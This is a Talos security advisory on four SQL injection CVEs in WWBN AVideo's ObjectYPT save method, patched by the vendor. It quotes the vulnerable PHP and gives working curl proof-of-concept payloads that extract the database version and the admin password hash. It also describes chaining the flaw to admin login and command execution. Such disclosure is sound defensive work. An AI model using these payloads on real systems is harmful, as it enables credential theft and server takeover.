Talos Vulnerability Report

TALOS-2022-1551

WWBN AVideo ObjectYPT SQL injection vulnerability

August 16, 2022
CVE Number

CVE-2022-33147,CVE-2022-34652,CVE-2022-33149,CVE-2022-33148

SUMMARY

A sql injection vulnerability exists in the ObjectYPT functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to a SQL injection. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

WWBN AVideo 11.6
WWBN AVideo dev master commit 3f7c0364

PRODUCT URLS

AVideo - https://github.com/WWBN/AVideo

CVSSv3 SCORE

8.3 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

DETAILS

AVideo is a web application, mostly written in PHP, that can be used to create an audio/video sharing website. It allows users to import videos from various sources, encode and share them in various ways. Users can sign up to the website in order to share videos, while viewers have anonymous access to the publicly-available contents. The platform provides plugins for features like live streaming, skins, YouTube uploads and more.

AVideo defines an abstract class ObjectYPT in objects/Object.php, which other objects should extend.

abstract class ObjectYPT implements ObjectInterface
{
    protected $fieldsName = [];

    public function __construct($id = "")
    {
        if (!empty($id)) { // [1]
            // get data from id
            $this->load($id);
        }
    }
    ...

This class provides an abstraction on top of the database, which allows to retrieve or create a new object depending on the id passed at object creation [1]. An interesting method defined in this class is called save, which allows to save the object into the database:

public function save()
{
    if (!$this->tableExists()) {
        _error_log("Save error, table " . static::getTableName() . " does not exists", AVideoLog::$ERROR);
        return false;
    }
    global $global;
    $fieldsName = $this->getAllFields();
    // [2]
    if (!empty($this->id)) {
        $sql = "UPDATE " . static::getTableName() . " SET ";
        $fields = [];
        foreach ($fieldsName as $value) {
            if (strtolower($value) == 'created') {
                // do nothing
            } elseif (strtolower($value) == 'modified') {
                $fields[] = " {$value} = now() ";
            } elseif (strtolower($value) == 'timezone') {
                if (empty($this->$value)) {
                    $this->$value = date_default_timezone_get();
                }
                $fields[] = " `{$value}` = '{$this->$value}' "; // [7]
            } elseif (is_numeric($this->$value)) {
                $fields[] = " `{$value}` = {$this->$value} ";
            } elseif (!isset($this->$value) || strtolower($this->$value) == 'null') {
                $fields[] = " `{$value}` = NULL ";
            } else {
                $fields[] = " `{$value}` = '{$this->$value}' "; // [5]
            }
        }
        $sql .= implode(", ", $fields);
        $sql .= " WHERE id = {$this->id}";
    }
    // [3]
    else {
        $sql = "INSERT INTO " . static::getTableName() . " ( ";
        $sql .= "`" . implode("`,`", $fieldsName) . "` )";
        $fields = [];
        foreach ($fieldsName as $value) {
            if (is_string($value) && (strtolower($value) == 'created' || strtolower($value) == 'modified')) {
                $fields[] = " now() ";
            } elseif (is_string($value) && strtolower($value) == 'timezone') {
                if (empty($this->$value)) {
                    $this->$value = date_default_timezone_get();
                }
                $fields[] = " '{$this->$value}' "; // [8]
            } elseif (!isset($this->$value) || (is_string($this->$value) && strtolower($this->$value) == 'null')) {
                $fields[] = " NULL ";
            } elseif (is_string($this->$value) || is_numeric($this->$value)) {
                $fields[] = " '{$this->$value}' "; // [6]
            } else {
                $fields[] = " NULL ";
            }
        }
        $sql .= " VALUES (" . implode(", ", $fields) . ")";
    }
    $insert_row = sqlDAL::writeSql($sql); // [4]
    if ($insert_row) {
        if (empty($this->id)) {
            $id = $global['mysqli']->insert_id;
        } else {
            $id = $this->id;
        }
        return $id;
    } else {
        _error_log("ObjectYPT::save Error on save: " . $sql . ' Error : (' . $global['mysqli']->errno . ') ' . $global['mysqli']->error, AVideoLog::$ERROR);
        return false;
    }
}

At [2] and [3] two different cases are handled: if the object already exists in the database, then an UPDATE query is perfomed, otherwise INSERT is used. The query is built inside the $sql variable, without using prepared statements. Finally, the $sql query is executed at [4].

At [5], [6], [7] and [8], strings are directly concatenated inside the query, leading to SQL injections if the values have not been previously sanitized. Several objects can be used to trigger this issue. We’ll look at some of them individually (note that this list might not be exhaustive, since there are many objects defined in the system, some with ad-hoc sanitization, depending on the functionality). Also note that we listed two vulnerable parameters for the “Live Schedules” page, however other parameters in the same page are potentially vulnerable too.

A note on exploitation chaining:
Since these SQL injections happen inside INSERT or UPDATE in a MySQL database, they won’t allow direct arbitrary code execution in the database host, on default configurations. However, it is possible to dump the whole database by using any blind SQL injection technique. The database dump will contain the password hashes of all users, which can be used to login into accounts as demonstrated in TALOS-2022-1545. This will allow to log-in as administrator. In default configurations (that is, with $global['disableAdvancedConfigurations'] = 0), an administrator can upload plugins, which trivially leads to arbitrary command execution in the host.

A note on the PoCs:
The PoCs listed below have been tested against dev master commit 3f7c0364. To make them work on release version 11.6 they have to be modified to account for the different columns in the target tables.

CVE-2022-33147 - aVideoEncoder

The objects/aVideoEncoder.json.php file can be used to add new videos. This functionality does not need special configuration to be used. However, the user performing the request needs permission to upload videos.

$video = new Video("", "", @$_POST['videos_id']); // [1]
...
$obj->video_id = @$_POST['videos_id'];
...
if (!empty($_REQUEST['duration'])) {
    $duration = $video->getDuration();
    if (empty($duration) || $duration === 'EE:EE:EE') {
        $video->setDuration($_REQUEST['duration']);
    }
}

$status = $video->setAutoStatus();

$video->setVideoDownloadedLink($_POST['videoDownloadedLink']);
...
$video_id = $video->save(); // [4]

The Video class, defined in objects/video.php, extends ObjectYPT. A new instance is created at [1], and duration [2] and videoDownloadedLink [3] are set in the object. Finally, the video object is saved [4], which calls the vulnerable save function in ObjectYPT.

public function setDuration($duration) {
    AVideoPlugin::onVideoSetDuration($this->id, $this->duration, $duration);
    $this->duration = $duration;
}

public function setVideoDownloadedLink($videoDownloadedLink) {
    AVideoPlugin::onVideoSetVideoDownloadedLink($this->id, $this->videoDownloadedLink, $videoDownloadedLink);
    $this->videoDownloadedLink = $videoDownloadedLink;
}

Both videoDownloadedLink and duration are never sanitized, so they can be used to exploit the SQL injection in the save function.

Exploit Proof of Concept

The following proof-of-concept performs a SQL injection and executes the query select @@version, storing the result in the videoLink column.

curl -k 'https://192.168.1.200/objects/aVideoEncoder.json.php' \
    -H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=ia8sm01gdn8kar80bp0q5bsp9l' \
    --data-raw "format=mp4&duration=', 'video', '', NULL,now(), now(), (select @@version), '0', '0','0', '', '', NULL, NULL,NULL, '', '', '', '0', NULL)--+"
{"error":false,"video_id":144,"video_id_hash":"MUFaem9hRDl5SEtlb1VnKzk0Z2ZMN3RBT2pPLytodmxoN1U4SE83ZVN6WT0="}%

The result of the injected select can be retrieved by querying the video list:

curl -k 'https://192.168.1.200/objects/videos.json.php' \
    -H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=ia8sm01gdn8kar80bp0q5bsp9l;' \
    | grep -o '.videoLink...[^"]*.'
"videoLink":"10.8.3-MariaDB-1:10.8.3+maria~jammy-log"

CVE-2022-33148 - Live Schedules title

AVideo offers a plugin to stream RTMP videos over the network, called “Live”. By default this is disabled; an administrator can enable it in the plugin settings. Moreover, the user performing the request needs permission to stream videos.

In file plugin/Live/view/Live_schedule/add.json.php the class Live_schedule, which extends ObjectYPT, is used to add and/or update an object in the database:

...
// [1]
if (!User::canStream()) {
    $obj->msg = "You cant do this";
    die(json_encode($obj));
}

...
// [2]
$o = new Live_schedule(@$_POST['id']);
$o->setTitle($_POST['title']); // [3]
$o->setDescription($_POST['description']);
//$o->setKey($_POST['key']);
$o->setUsers_id(User::getId());
$o->setLive_servers_id($_POST['live_servers_id']);
$o->setScheduled_time($_POST['scheduled_time']);
$o->setStatus($_POST['status']);
$o->setScheduled_password($_POST['scheduled_password']);
//$o->setPoster($_POST['poster']);
//$o->setPublic($_POST['public']);
//$o->setSaveTransmition($_POST['saveTransmition']);
//$o->setShowOnTV($_POST['showOnTV']);

if(!empty($_REQUEST['users_id_company'])){
    $myAffiliation = CustomizeUser::getAffiliateCompanies(User::getId());
    $users_id_list = array();
    foreach ($myAffiliation as $value) {
        $users_id_list[] = $value['users_id_company'];
    }
    if(in_array($_REQUEST['users_id_company'], $users_id_list)){
        $o->setusers_id_company($_REQUEST['users_id_company']);
    }
}

// [4]
if ($id = $o->save()) {
    $obj->msg = "{$_POST['title']} ".__('Saved');
    $obj->error = false;
} else {
    $obj->msg = __('Error on save')." {$_POST['title']}";
}
...

At [1] the code checks if the user is allowed to stream. At [2] a new live schedule is created, passing the id parameter. At [3] title field is set from the title POST parameter.
The function setTitle is defined as:

public function setTitle($title)
{
    $this->title = $title;
}

There is no sanitization of the title parameter, so calling save at [4] can trigger the SQL injection.

Exploit Proof of Concept

The following proof-of-concept performs a SQL injection and stores the admin’s password hash in the description field of a new live schedule.

curl -k 'https://192.168.1.200/plugin/Live/view/Live_schedule/add.json.php' \
    -X POST -H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=8hi96ivv13595mm5cebe2am5pb;' \
    --data-raw $'id=&status=a&scheduled_time=2022-07-01+19%3A45&title=\',(select password from users where user = "admin"), \'1234\', \'2\', NULL, now(), now(), \'2032-06-01 19:45\', \'UTC\' ,  \'a\' ,  NULL ,  NULL ,  NULL ,  NULL ,  \'pass\' ,  NULL )--+'

To get the admin’s hash, it’s enough to retrieve the live schedule list:

curl -sk 'https://192.168.1.200/plugin/Live/view/Live_schedule/list.json.php?users_id=2' \
    -H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=8hi96ivv13595mm5cebe2am5pb'|grep -o '.description...[^"]*.'
"description":"97fbb646f466baeacca5d79f5567c771"

CVE-2022-33149 - CloneSite

AVideo offers a plugin to clone an AVideo website, called “CloneSite “. By default this is disabled; an administrator can enable it in the plugin settings. No authentication is required to exploit this vulnerability.

In file plugin/CloneSite/cloneServer.json.php there’s a call to Clones::thisURLCanCloneMe [3], that passes $_GET['url'] [1] and $_GET['key'] [2] as parameters

...
$resp->url = $_GET['url']; // [1]
$resp->key = $_GET['key']; // [2]
$resp->useRsync = intval($_GET['useRsync']);
$resp->videosDir = Video::getStoragePath()."";
$resp->sqlFile = "";
$resp->videoFiles = [];
$resp->photoFiles = [];

$objClone = AVideoPlugin::getObjectDataIfEnabled("CloneSite");
if (empty($objClone)) {
    $resp->msg = "CloneSite is not enabled on the Master site";
    die(json_encode($resp));
}


if (empty($resp->key)) {
    $resp->msg = "Key cannot be blank";
    die(json_encode($resp));
}

// check if the url is allowed to clone it
$canClone = Clones::thisURLCanCloneMe($resp->url, $resp->key); // [3]
...

The Clones class is defined in plugin/CloneSite/Objects/Clones.php:

public static function thisURLCanCloneMe($url, $key)
{
    $resp = new stdClass();
    $resp->canClone = false;
    $resp->clone = null;
    $resp->msg = "";

    $clone = new Clones(0);
    $clone->loadFromURL($url); // [4]
    if (empty($clone->getId())) {
        $resp->msg = "The URL {$url} was just added in our server, ask the Server Manager to approve this URL on plugins->Clone Site->Clones Manager (The Blue Button) and Activate your client";
        self::addURL($url, $key); // [5]
        return $resp;
    }
    ...

If the url does not exist [4], addURL is called [5]:

public static function addURL($url, $key)
{
    $clone = new Clones(0);
    $clone->loadFromURL($url);
    if (empty($clone->getId())) {
        $clone->setUrl($url);
        $clone->setKey($key);
        return $clone->save();
    }
    return false;
}

public function setUrl($url)
{
    $this->url = $url;
}

public function setKey($key)
{
    $this->key = $key;
}

addURL eventually creates a new Clones object and saves it. The Clones class extends ObjectYPT, so it’s subject to the usual SQL injection. key has been previously sanitized in objects/security.php, since it’s present in the $securityFilter list:

$securityFilter = ['error', 'catName', 'type', 'channelName', 'captcha', 'showOnly', 'key', 'link', 'email', 'country', 'region', 'videoName'];

The url parameter however has not been sanitized, so it can be used to exploit the SQL injection.

Exploit Proof of Concept

The following proof-of-concept performs a SQL injection and executes the query select sleep(2). We can see by measuring the time it takes to return, that the request takes just a little more than 2 seconds.

time curl -k $'https://192.168.1.200/plugin/CloneSite/cloneServer.json.php?key=somekey&url=someurl\',\'a\',(select+sleep(2)),NULL,now(),now())--+'

CVE-2022-34652 - Live Schedules description

AVideo offers a plugin to stream RTMP videos over the network, called “Live”. By default this is disabled; an administrator can enable it in the plugin settings. Moreover, the user performing the request needs permission to stream videos.

In file plugin/Live/view/Live_schedule/add.json.php the class Live_schedule, which extends ObjectYPT, is used to add and/or update an object in the database:

...
// [1]
if (!User::canStream()) {
    $obj->msg = "You cant do this";
    die(json_encode($obj));
}

...
// [2]
$o = new Live_schedule(@$_POST['id']);
$o->setTitle($_POST['title']);
$o->setDescription($_POST['description']);  // [3]
//$o->setKey($_POST['key']);
$o->setUsers_id(User::getId());
$o->setLive_servers_id($_POST['live_servers_id']);
$o->setScheduled_time($_POST['scheduled_time']);
$o->setStatus($_POST['status']);
$o->setScheduled_password($_POST['scheduled_password']);
//$o->setPoster($_POST['poster']);
//$o->setPublic($_POST['public']);
//$o->setSaveTransmition($_POST['saveTransmition']);
//$o->setShowOnTV($_POST['showOnTV']);

if(!empty($_REQUEST['users_id_company'])){
    $myAffiliation = CustomizeUser::getAffiliateCompanies(User::getId());
    $users_id_list = array();
    foreach ($myAffiliation as $value) {
        $users_id_list[] = $value['users_id_company'];
    }
    if(in_array($_REQUEST['users_id_company'], $users_id_list)){
        $o->setusers_id_company($_REQUEST['users_id_company']);
    }
}

// [4]
if ($id = $o->save()) {
    $obj->msg = "{$_POST['title']} ".__('Saved');
    $obj->error = false;
} else {
    $obj->msg = __('Error on save')." {$_POST['title']}";
}
...

At [1] the code checks if the user is allowed to stream. At [2] a new live schedule is created, passing the id parameter. At [3] description field is set from the description POST parameter.
The function setDescription is defined as:

public function setDescription($description)
{
    $this->description = $description;
}

There is no sanitization of the description parameter, so calling save at [4] can trigger the SQL injection.

Crash Information

The following proof-of-concept performs a SQL injection and stores the admin’s password hash in the key field of a new live schedule.

curl -k 'https://192.168.1.200/plugin/Live/view/Live_schedule/add.json.php' \
    -X POST -H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=8hi96ivv13595mm5cebe2am5pb;' \
    --data-raw $'id=&status=a&scheduled_time=2022-07-01+19%3A45&title=test&description=\',(select password from users where user = "admin"), \'2\', NULL, now(), now(), \'2032-06-01 19:45\', \'UTC\' ,  \'a\' ,  NULL ,  NULL ,  NULL ,  NULL ,  \'pass\' ,  NULL )--+'

To get the admin’s hash, it’s enough to retrieve the live schedule list:

curl -sk 'https://192.168.1.200/plugin/Live/view/Live_schedule/list.json.php?users_id=2' \
    -H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=8hi96ivv13595mm5cebe2am5pb'|grep -o '.key...[^"]*.'
"key":"97fbb646f466baeacca5d79f5567c771"
VENDOR RESPONSE

Vendor confirms issues fixed on July 7th 2022

TIMELINE

2022-06-29 - Initial Vendor Contact
2022-07-05 - Vendor Disclosure
2022-07-07 - Vendor Patch Release
2022-08-16 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.